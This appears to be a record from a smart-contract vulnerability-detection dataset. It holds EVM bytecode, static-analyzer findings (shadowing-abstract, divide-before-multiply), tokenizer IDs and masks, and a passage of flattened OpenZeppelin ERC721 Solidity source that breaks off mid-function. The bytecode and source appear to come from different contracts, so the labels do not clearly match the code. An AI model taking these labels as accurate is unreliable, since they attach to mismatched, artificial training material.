19063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60046020528060005260406000206000915054906101000a900460ff1681565b600d60009054906101000a900460ff1681565b60008060008491508173ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611ce157600080fd5b505af1158015611cf5573d6000803e3d6000fd5b505050506040513d6020811015611d0b57600080fd5b81019080805190602001909291905050509050809250505092915050565b600a5481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e1757600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611eb557600080fd5b505af1158015611ec9573d6000803e3d6000fd5b505050506040513d6020811015611edf57600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611fb757600080fd5b505af1158015611fcb573d6000803e3d6000fd5b505050506040513d6020811015611fe157600080fd5b810190808051906020019092919050505092505050919050565b600b5481565b60095481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561206357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156120db5780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561213c57600080fd5b600090505b8383905081101561218d57612180848483818110151561215d57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff168361238c565b8080600101915050612141565b50505050565b6000808314156121a657600090506121c5565b81830290508183828115156121b757fe5b041415156121c157fe5b8090505b92915050565b6000600d60009054906101000a900460ff161515156121e957600080fd5b6121fe8260095461235790919063ffffffff16565b60098190555061225682600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461235790919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a77836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000818301905082811015151561236a57fe5b80905092915050565b600082821115151561238157fe5b818303905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123e857600080fd5b6000811115156123f757600080fd5b60085460095410151561240957600080fd5b61245b81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461235790919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124b38160095461235790919063ffffffff16565b6009819055506008546009541015156124e2576001600d60006101000a81548160ff0219169083151502179055505b8173ffffffffffffffffffffffffffffffffffffffff167fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d27282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a72305820964d4badffaa7c427d61869d36ca1a8945cc04864f84df192a04ba4f6bb3f3790029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'shadowing-abstract', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2487, 2098, 26187, 2509, 2278, 2581, 2581, 12740, 2575, 2620, 16147, 2278, 22407, 2546, 24594, 2094, 12521, 2581, 23352, 2509, 2278, 2692, 2683, 23777, 21926, 2629, 7011, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2656, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1039, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,645
0x971F761110432c851516A73a338F1779814cf7f6
// Sources flattened with hardhat v2.5.0 https://hardhat.org // File @openzeppelin/contracts/utils/Strings.sol@v4.2.0 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts/utils/Context.sol@v4.2.0 pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/access/Ownable.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File @openzeppelin/contracts/utils/math/SafeMath.sol@v4.2.0 pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File @openzeppelin/contracts/utils/introspection/IERC165.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/token/ERC721/IERC721.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol@v4.2.0 pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol@v4.2.0 pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File @openzeppelin/contracts/utils/Address.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/introspection/ERC165.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File @openzeppelin/contracts/token/ERC721/ERC721.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == 